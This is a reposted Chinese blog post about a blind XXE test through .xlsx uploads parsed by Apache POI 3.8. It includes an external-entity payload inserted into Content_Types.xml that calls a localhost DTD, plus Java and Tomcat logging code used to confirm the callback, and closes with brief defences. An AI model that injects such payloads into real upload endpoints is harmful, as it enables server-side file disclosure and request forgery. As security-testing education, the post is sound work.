Excel中的XXE攻擊


最近在審計某銀行的Java代碼時,發現許多上傳Excel文件的接口,允許后綴是xslx文件,xslx文件是由xml文件組成的,可以改成.zip的文件后綴名進行解壓,所以如果如果沒有禁用外部實體,會存在XXE漏洞。下面的測試使用Java語言進行blind-xxe測試。

1、測試環境

解析Excel文件:poi-3.8。
因為測試沒有會先,所以利用Spring Boot搭建測試網站,查看日志是否有觸發漏洞。

2、修改xslx

利用360壓縮打開xslx文件,找到Content_Types.xml文件,添加外部實體如下:
實體的值:

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://127.0.0.1/test.dtd"> ]>
<x>&xxe;</x>

3、測試代碼(讀取Excel文件)

package com.itkim.tool;

import org.apache.poi.xssf.usermodel.XSSFRow;
import org.apache.poi.xssf.usermodel.XSSFSheet;
import org.apache.poi.xssf.usermodel.XSSFWorkbook;

import java.io.FileInputStream;

/**
 * @description: 讀取Excel文件
 * @author: KimJun
 * @date: 19.10.5 23:27
 */
public class ExcelData {

    private XSSFSheet sheet;

    /**
     * 構造函數,初始化excel數據
     *
     * @param filePath  excel路徑
     * @param sheetName sheet表名
     */
    ExcelData(String filePath, String sheetName) throws Exception {
        FileInputStream fileInputStream = null;
            fileInputStream = new FileInputStream(filePath);
            XSSFWorkbook sheets = new XSSFWorkbook(fileInputStream);
            //獲取sheet
            sheet = sheets.getSheet(sheetName);

    }

    //打印excel數據
    public void readExcelData() {
        //獲取行數
        int rows = sheet.getPhysicalNumberOfRows();
        for (int i = 0; i < rows; i++) {
            //獲取列數
            XSSFRow row = sheet.getRow(i);
            int columns = row.getPhysicalNumberOfCells();
            for (int j = 0; j < columns; j++) {
                String cell = row.getCell(j).toString();
                System.out.println(cell);
            }
        }
    }

    //測試方法
    public static void main(String[] args) throws Exception {
        ExcelData sheet1 = new ExcelData("C:\\Users\\I\\Desktop\\test3.xlsx", "Sheet1");
        sheet1.readExcelData();
    }
}

4、測試

在我們的resources/static目錄寫一個test.dtd文件,啟動我們的Tomcat服務器,因為我們使用的是Spring Boot內置的Tomcat,所以我們需要在application.properproperties中設置生成日志文件的位置,然后就可以啟動服務器了。

server.port=8080

server.tomcat.accesslog.enabled=true
server.tomcat.accesslog.suffix=.log
server.tomcat.accesslog.prefix=access_log
server.tomcat.accesslog.file-date-format=.yyyy-MM-dd
server.tomcat.basedir=Z:\\springboot-tomcat-log
server.tomcat.accesslog.directory=logs

logging.level.org.apache.tomcat=DEBUG
logging.level.org.apache.catalina=DEBUG

跑一下我們的讀取Excel的程序,查看Tomcat的日志如下:

可以看到Tomcat接收到請求,證明存在XXE漏洞。

5、防御

  • 禁用外部實體注入
  • 升級較新的jar包,進行代碼審計工作


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM